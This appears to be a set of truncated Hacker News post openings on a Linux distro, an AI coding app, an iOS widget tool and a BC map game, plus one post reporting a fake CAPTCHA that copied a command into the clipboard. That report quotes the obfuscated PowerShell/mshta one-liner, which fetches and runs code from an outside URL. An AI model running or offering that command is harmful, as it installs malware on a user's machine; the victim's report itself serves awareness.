Ask HN: Looking for testers for my RAM-based Linux distributionhttps://news.ycombinator.com/item?id=49102865Hi,I have been working on a project called Invelinux for quite some time now, and now that I have released the release candidate versions, I thought about posting it on Hacker News for people to try it out.The thing that makes it stand out is its use of the Toybox userspace project, a BSD-licensed alternative to Busybox and musl C library instead of the GNU C library. It also features a very minimal framework called AMPS (Automatically Mounted Packaging System) which mounts an external drive that functions as the non-volatile storage part of the OS. System configurations, applications/scripts etc. are all stored inside the /storage/AMPS directory. Since the base system is running on RAM, when the system is rebooted, the whole system gets wiped clean. But the external storage and configurations stay intact, allowing you to load your configurations easily.To access and edit these configurations, several custom TUI tools were made so the user doesn't have to mess around in /storage/AMPS/e

Show HN: MandoCode Desktop – Native Windows AI Coding Assistant on Ollama .NEThttps://github.com/DevMando/MandoCode.DesktopQuick backstory on how this version came to be: the original MandoCode is a CLI, and its UI is built with RazorConsole — Blazor components rendered into a terminal. Genuinely clever tech! I wanted tabs, though, and when I attended MS Build this year I got a good look at what WinUI apps could do and saw the potential to give the original agent some actual windows and tabs. Having up to 4 agents running in one window is pretty cool. Aside from that — tabs! I feel like everything is a chat these days, and for some reason my brain keeps screaming AGENTS, not chats, at me. I love the tabbed-browser experience a lot moreSome of the stuff I got to toy with once the plumbing worked:- Context snapshots — closing an agent archives the conversation instead of deleting it, and you can snapshot mid-conversation to get an AI-written recap you can hand to a different model or a fresh agent and have it pick up the thread. You pick the LLM from a dropdown right when you create the snapshot.- Transcript

Ask HN: Crooked Timber showed showed me a virus captcha, What now?https://news.ycombinator.com/item?id=49084404Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and

Show HN: Build native iOS widgets from any HTTPS endpointhttps://news.ycombinator.com/item?id=49033628I built Dashlet since I often found myself building different web dashboards for all sorts of data (custom page views monitoring, app downloads, info from my home sensors) and I quickly got tired of always having to navigate to a page in Safari and reenter credentials to access them.I wanted to just simply be able to see it on my phone, when scrolling around it - in almost realtime.I've built bespoke apps (just for myself) in the past, that mapped a specific custom API for that purpose, but it was a hassle anytime I changed something in the response or added some new API for myself.So, Dashlet is an answer to that - it can handle any JSON (or XML, or even image) endpoints and has a nice interactive way of picking which values out of it should be displayed in which type of widget. So, if something has an API but no app (or no widget), Dashlet lets you point it at an HTTPS endpoint, visually map fields from JSON/XML/images, and create native Home Screen (also lock screen and Apple Watch)

Show HN: An interactive game of British Columbiahttps://bigfootsbc.ca/I recently drove through the beautiful lands of British Columbia. I've called this place home for a better part of 20 years, and I realized that I know very little outside the little bubble that I live in.So I created this interactive map/game where you play as the Sasquatch, roaming the land and discovering hidden gems, towns, and other wildlife. You can read up on the town's story, view pictures to get a sense of what they look like, and stuff like that.I wanted to put this out there for those who are curious about our lovely province and enjoy roaming around.I am a software developer, but this app is vibe-coded. I do believe that this kind of usage of AI is fantastic--to better understand the world around us through immersive simulation.Let me know what you guys think!
